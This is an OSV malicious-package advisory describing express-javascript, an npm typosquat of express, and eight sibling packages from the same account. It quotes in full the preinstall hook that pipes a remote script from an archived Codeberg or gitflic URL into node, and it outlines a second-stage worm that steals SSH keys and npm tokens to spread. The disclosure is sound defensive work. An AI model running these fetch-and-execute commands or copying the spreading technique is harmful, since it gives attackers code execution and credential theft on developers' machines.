MAL-2026-17242

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-javascript/MAL-2026-17242.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17242
Published
2026-09-29T07:12:49Z
Modified
2026-10-05T23:00:07Z
Summary
Malicious code in express-javascript (npm)
Details

The package express-javascript impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.


-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a84bd81adecaf93be6fe963765bf1686f6b6bcefac1b8a6124bc2841053fd265)

express-javascript@5.2.2 is a typosquat of the real express framework, shipping cloned package metadata (author TJ Holowaychuk, repository expressjs/express, homepage expressjs.com, matching keywords and dependencies) to appear as the genuine package. Its package.json declares a preinstall lifecycle hook that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading a remote, unpinned, non-publisher JavaScript payload from a third-party Russian code-hosting service (proxied through web.archive.org) and piping it directly into node for execution. The fetch and execute fire automatically on npm install with no integrity check, no version pinning, and no relation to the express project's real infrastructure. The fetched content is attacker-controlled and can change at any time.

Database specific
{
    "iocs":  {
        "files":  [
            {
                "note":  "preinstall script pipes the web.archive.org copy of node.js into node.",
                "paths":  [
                    "package.json"
                ],
                "source":  "PACKAGE_ARCHIVE"
            },
            {
                "digests":  {
                    "sha256":  "65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577"
                },
                "note":  "Stage two Bash worm, piped from curl into bash.",
                "paths":  [
                    "linux.sh"
                ],
                "source":  "IN_MEMORY"
            },
            {
                "digests":  {
                    "sha256":  "2c9dbc14809f1e1aebda114194368b002acf74c8760b88fc101f625d179793c2"
                },
                "note":  "systemd-fontd, a stripped Go ELF x86-64 binary run as the \"Font Rendering Service\" systemd service. First path as root, second path without root.",
                "paths":  [
                    "/usr/lib/systemd/systemd-fontrenderd",
                    "~/.config/systemd/systemd-fontcached"
                ],
                "source":  "DROPPED"
            }
        ],
        "urls":  [
            "https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js",
            "https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js",
            "https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh",
            "https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/systemd-fontd"
        ]
    },
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020632",
            "import_time":  "2026-09-29T14:44:37.392432Z",
            "modified_time":  "2026-09-29T14:40:22Z",
            "sha256":  "73e4909976d37fb7fb7dd30012d82bd882608df20716a824f1dc0efa074b5401",
            "source":  "amazon-inspector",
            "versions":  [
                "5.2.1"
            ]
        },
        {
            "id":  "IN-MAL-2026-020871",
            "import_time":  "2026-10-04T23:16:29.438581764Z",
            "modified_time":  "2026-10-04T23:11:52Z",
            "sha256":  "a84bd81adecaf93be6fe963765bf1686f6b6bcefac1b8a6124bc2841053fd265",
            "source":  "amazon-inspector",
            "versions":  [
                "5.2.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / express-javascript

Package

Name
express-javascript
View open source insights on deps.dev
Purl
pkg:npm/express-javascript

Affected ranges

Affected versions

5.*
5.2.1
5.2.2

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "802b379278fac7220d1cfe63545dbd2e20afa28c34d344edb000cb18a0d1c620",
            "tlsh":  "1f51ba21cc4e8c6326c5a2dd3c69a542612188078e41f81cf759539c8f8e56f71b9fbe"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "express-javascript-5.2.1.tgz",
            "hashes":  {
                "sha1":  "befd8fdeba66846025490e7869147804c88375e9",
                "sha512_sri":  "sha512-wpNV2u4N2loxL3yEpirCoQNlNK0QIpUizwMfJU3bOL9o3oIlYTRuT7+oNDTag6wKGV3bHqfe6jiTnSH51la3nA=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-javascript/MAL-2026-17242.json"